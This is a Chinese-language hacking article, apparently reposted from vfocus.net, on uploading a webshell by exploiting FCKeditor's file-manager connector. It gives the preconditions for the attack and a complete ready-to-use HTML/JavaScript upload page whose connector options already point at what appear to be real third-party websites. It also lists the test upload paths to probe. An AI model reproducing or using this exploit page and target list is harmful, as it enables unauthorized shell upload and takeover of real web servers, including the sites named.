FCKeditor二次上传拿shell

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FCKeditor二次上传拿shell

来源：vfocus.net 作者：vfocus 发布时间：2010-09-16

FCKeditor二次上传拿shell算是FCKeditor漏洞集中比较经典的了，这个二次上传前提条件是要支持aspx而且要求FckEditor/editor/filemanager/connectors/aspx/connector.aspx文件为删除。二次上传漏洞对ASPX站点来说利用比较方便，成功率也比较高，当然若是ASP的站点，支持ASPX和文件为删的情况下也是没问题的。
      在利用二次上传过程中我们往往都是找到FckEditor中的一些test上传页面来进行上传，不过也有遇到test上传页面全部被删除的情况，之前我便遇见过许多，不过在遇到test上传页面被删除的情况下我们可以本地构造上传页谈后提交，前提要确认FckEditor/editor/filemanager/connectors/aspx/connector.aspx文件存在，并且服务器支持ASPX的解析。
利用代码：

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <title>FCKeditor - Connectors Tests</title>
    <script type="text/javascript">
function BuildBaseUrl( command )
{
    var sUrl =
        document.getElementById('cmbConnector').value +
        '?Command=' + command +
        '&Type=' + document.getElementById('cmbType').value +
        '&CurrentFolder=' + encodeURIComponent(document.getElementById('txtFolder').value) ;
    return sUrl ;
}
function SetFrameUrl( url )
{
    document.getElementById('eRunningFrame').src = url ;
    document.getElementById('eUrl').innerHTML = url ;
}
function GetFolders()
{
    SetFrameUrl( BuildBaseUrl( 'GetFolders' ) ) ;
    return false ;
}
function GetFoldersAndFiles()
{
    SetFrameUrl( BuildBaseUrl( 'GetFoldersAndFiles' ) ) ;
    return false ;
}
function CreateFolder()
{
    var sFolder = prompt( 'Type the folder name:', 'Test Folder' ) ;
    if ( ! sFolder )
        return false ;
    var sUrl = BuildBaseUrl( 'CreateFolder' ) ;
    sUrl += '&NewFolderName=' + encodeURIComponent( sFolder ) ;
    SetFrameUrl( sUrl ) ;
    return false ;
}
function OnUploadCompleted( errorNumber, fileName )
{
    switch ( errorNumber )
    {
        case 0 :
            alert( 'File uploaded with no errors' ) ;
            break ;
        case 201 :
            GetFoldersAndFiles() ;
            alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
            break ;
        case 202 :
            alert( 'Invalid file' ) ;
            break ;
        default :
            alert( 'Error on file upload. Error number: ' + errorNumber ) ;
            break ;
    }
}
this.frames.frmUpload = this ;
function SetAction()
{
    var sUrl = BuildBaseUrl( 'FileUpload' ) ;
    document.getElementById('eUrl').innerHTML = sUrl ;
    document.getElementById('frmUpload').action = sUrl ;
}
    </script>
</head>
<body>
    <table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0">
        <tr>
            <td>
                <table cellspacing="0" cellpadding="0" border="0">
                    <tr>
                        <td>
                            Connector:<br />
                            <select id="cmbConnector" name="cmbConnector">
                                <option value="http://www.chnlvyi.com/Edit/editor/filemanager/connectors/asp/connector.asp" selected="selected">ASP</option>
                                <option value="http://www.chnlvyi.com/edit/editor/filemanager/connectors/aspx/connector.aspx">ASP.Net</option>
                                <option value="https://www.portlandartmuseum.org/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/connector.cfm">ColdFusion</option>
                                <option value="lasso/connector.lasso">Lasso</option>
                                <option value="perl/connector.cgi">Perl</option>
                                <option value="http://www.juejincn.net/admin/fckeditor/editor/filemanager/connectors/php/connector.php">PHP</option>
                                <option value="py/connector.py">Python</option>
                            </select>
                        </td>
                        <td>
                               </td>
                        <td>
                            Current Folder<br />
                            <input id="txtFolder" type="text" value="/" name="txtFolder" /></td>
                        <td>
                               </td>
                        <td>
                            Resource Type<br />
                            <select id="cmbType" name="cmbType">
                                <option value="File" selected="selected">File</option>
                                <option value="Image">Image</option>
                                <option value="Flash">Flash</option>
                                <option value="Media">Media</option>
                                <option value="Invalid">Invalid Type (for testing)</option>
                            </select>
                        </td>
                    </tr>
                </table>
                <br />
                <table cellspacing="0" cellpadding="0" border="0">
                    <tr>
                        <td valign="top">
                            <a href="#" onclick="GetFolders();">Get Folders</a></td>
                        <td>
                               </td>
                        <td valign="top">
                            <a href="#" onclick="GetFoldersAndFiles();">Get Folders and Files</a></td>
                        <td>
                               </td>
                        <td valign="top">
                            <a href="#" onclick="CreateFolder();">Create Folder</a></td>
                        <td>
                               </td>
                        <td valign="top">
                            <form id="frmUpload" action="" target="eRunningFrame" method="post" enctype="multipart/form-data">
                                File Upload<br />
                                <input id="txtFileUpload" type="file" name="NewFile" />
                                <input type="submit" value="Upload" onclick="SetAction();" />
                            </form>
                        </td>
                    </tr>
                </table>
                <br />
                URL: <span id="eUrl"></span>
            </td>
        </tr>
        <tr>
            <td height="100%" valign="top">
                <iframe id="eRunningFrame" src="javascript:void(0)" name="eRunningFrame" width="100%"
                    height="100%"></iframe>
            </td>
        </tr>
    </table>
</body>
</html>
<option value="http://www.xxx.com/FckEditor/editor/filemanager/connectors/aspx/connector.aspx">ASP.Net</option>既是ASXP的上传执行路径，asp和php的也同理，需要时请自行补充！！
FCKeditor 中test 文件的上传地址：
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html

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